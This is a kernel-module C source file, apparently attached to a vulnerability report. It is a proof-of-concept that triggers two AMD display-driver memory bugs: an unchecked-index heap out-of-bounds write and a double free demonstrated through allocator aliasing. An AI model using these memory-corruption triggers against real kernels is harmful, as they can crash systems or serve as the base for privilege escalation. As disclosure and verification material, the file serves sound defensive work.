DF-5051 / vectorpoc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 | /* * vectorpoc.c โ runtime proof-of-concept for two AMD DC dal_vector API * defects (sys/dev/drm/amd/display/dc/basics/vector.c): * * DF-5051 (mode 1): dal_vector_insert_at() never validates `position`; * position > count computes insert_address = container + * struct_size*position and memmove()s struct_size bytes there โ * a fully attacker-of-the-caller-chosen-offset heap OOB write * (vector.c:218,226-229). * * DF-5052 (mode 2): dal_vector_destruct() frees container but leaves * the pointer dangling (vector.c:131-137) โ a second destruct is a * double kfree() (demonstrated here by allocator aliasing), and any * post-destruct reserve()/at_index() use is a UAF. * * mode 0: in-bounds sanity (insert at count works, as the lone in-tree * caller dal_vector_append relies on). * * The dal_vector_* symbols are plain globals exported by amdgpu.ko, so * they resolve via the kernel linker's global symbol search once amdgpu * is loaded. No MODULE_DEPEND is needed (amdgpu declares no * MODULE_VERSION; kern_linker.c falls back to a global file search). * * Build: see build.sh Run: see run.sh (mode via kenv vectorpoc.mode) */ #include <sys/param.h> #include <sys/types.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> /* * ABI shims for include/vector.h:struct vector (verified layout: * container, struct_size, count, capacity, ctx). We deliberately do not * pull in the DC header maze; pointer-ABI is identical. */ struct vec_shim { uint8_t *container; uint32_t struct_size; uint32_t count; uint32_t capacity; void *ctx; }; extern struct vec_shim *dal_vector_create(void *ctx, uint32_t capacity, uint32_t struct_size); extern bool dal_vector_insert_at(struct vec_shim *vector, const void *what, uint32_t position); extern void dal_vector_destruct(struct vec_shim *vector); static int vectorpoc_mode = 1; TUNABLE_INT("vectorpoc.mode", &vectorpoc_mode); /* 64-byte container (4 elems x 16 bytes), same size class for mode 2. */ #define VPOC_CAP 4 #define VPOC_SSIZE 16 static void mode0_sanity(void) { struct vec_shim *v; char payload[VPOC_SSIZE]; bool ok1, ok2; memset(payload, 0x42, sizeof(payload)); v = dal_vector_create(NULL, VPOC_CAP, VPOC_SSIZE); if (v == NULL) { kprintf("vectorpoc: mode0: dal_vector_create failed\n"); return; } kprintf("vectorpoc: mode0: v=%p container=%p count=%u capacity=%u\n", v, v->container, v->count, v->capacity); ok1 = dal_vector_insert_at(v, payload, 0); /* == count: in-bounds */ ok2 = dal_vector_insert_at(v, payload, 1); /* == count: in-bounds */ kprintf("vectorpoc: mode0: insert@0=%d insert@1=%d count=%u " "(expect 1 1 2)\n", ok1, ok2, v->count); dal_vector_destruct(v); kprintf("vectorpoc: mode0: sanity OK\n"); } /* * DF-5051: unchecked position -> wild heap write. * count==0 and capacity==4, so insert_at takes the no-reserve path and * writes 16 bytes at container + (16 * position) with position up to * 0x0E000000 => up to +3.5GB past the 64-byte allocation. Offsets are * tried coarse-to-fine until one lands on an unmapped kernel page and * faults (any single one that lands on mapped memory is itself a silent * 16-byte heap corruption). */ static void mode1_df5051_oob_insert(void) { struct vec_shim *v; char payload[VPOC_SSIZE]; static const uint32_t positions[] = { 0x0C000000, /* +3.0 GB */ 0x08000000, /* +2.0 GB */ 0x0E000000, /* +3.5 GB */ 0x04000000, /* +1.0 GB */ 0x0A000000, /* +2.5 GB */ }; int i; memset(payload, 0x41, sizeof(payload)); v = dal_vector_create(NULL, VPOC_CAP, VPOC_SSIZE); if (v == NULL) { kprintf("vectorpoc: mode1: dal_vector_create failed\n"); return; } kprintf("vectorpoc: DF-5051: v=%p container=%p (alloc=%u bytes) " "count=%u capacity=%u struct_size=%u\n", v, v->container, VPOC_CAP * VPOC_SSIZE, v->count, v->capacity, v->struct_size); for (i = 0; i < (int)(sizeof(positions) / sizeof(positions[0])); i++) { kprintf("vectorpoc: DF-5051: insert_at(position=0x%08x) " "-> writing 16 bytes at container+0x%08x (OOB)\n", positions[i], positions[i] * VPOC_SSIZE); dal_vector_insert_at(v, payload, positions[i]); kprintf("vectorpoc: DF-5051: survived offset 0x%08x " "(wrote into mapped kernel memory)\n", positions[i] * VPOC_SSIZE); } kprintf("vectorpoc: DF-5051: no fault observed (unexpected)\n"); } /* * DF-5052: double dal_vector_destruct -> double kfree of container. * Proven by allocator aliasing: after freeing the same 64-byte chunk * twice, two fresh 64-byte allocations return the identical pointer. * (If the release kernel's slab catches the double free and panics * instead, that is equally confirmatory โ serial log will show it.) */ static void mode2_df5052_double_destruct(void) { struct vec_shim *v; void *x, *y, *c; v = dal_vector_create(NULL, VPOC_CAP, VPOC_SSIZE); if (v == NULL) { kprintf("vectorpoc: mode2: dal_vector_create failed\n"); return; } c = v->container; kprintf("vectorpoc: DF-5052: v=%p container=%p\n", v, c); dal_vector_destruct(v); kprintf("vectorpoc: DF-5052: destruct #1 done (chunk freed; " "vector->container still =%p, dangling)\n", v->container); dal_vector_destruct(v); kprintf("vectorpoc: DF-5052: destruct #2 returned WITHOUT panic " "(double kfree accepted)\n"); x = kmalloc(VPOC_CAP * VPOC_SSIZE, M_TEMP, M_WAITOK); y = kmalloc(VPOC_CAP * VPOC_SSIZE, M_TEMP, M_WAITOK); kprintf("vectorpoc: DF-5052: re-alloc x=%p y=%p freed-chunk=%p\n", x, y, c); if (x == y && x == c) kprintf("vectorpoc: DF-5052 CONFIRMED: both allocations " "returned the double-freed chunk (aliasing)\n"); else kprintf("vectorpoc: DF-5052: allocs distinct (allocator " "noise); double free still occurred\n"); } static int vectorpoc_modevent(module_t mod, int type, void *arg) { switch (type) { case MOD_LOAD: kprintf("vectorpoc: loaded, mode=%d\n", vectorpoc_mode); switch (vectorpoc_mode) { case 0: mode0_sanity(); break; case 1: mode1_df5051_oob_insert(); break; case 2: mode2_df5052_double_destruct(); break; default: kprintf("vectorpoc: unknown mode %d\n", vectorpoc_mode); } kprintf("vectorpoc: mode %d complete\n", vectorpoc_mode); return (0); case MOD_UNLOAD: kprintf("vectorpoc: unloaded\n"); return (0); default: return (EOPNOTSUPP); } } DECLARE_MODULE(vectorpoc, vectorpoc_modevent, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); |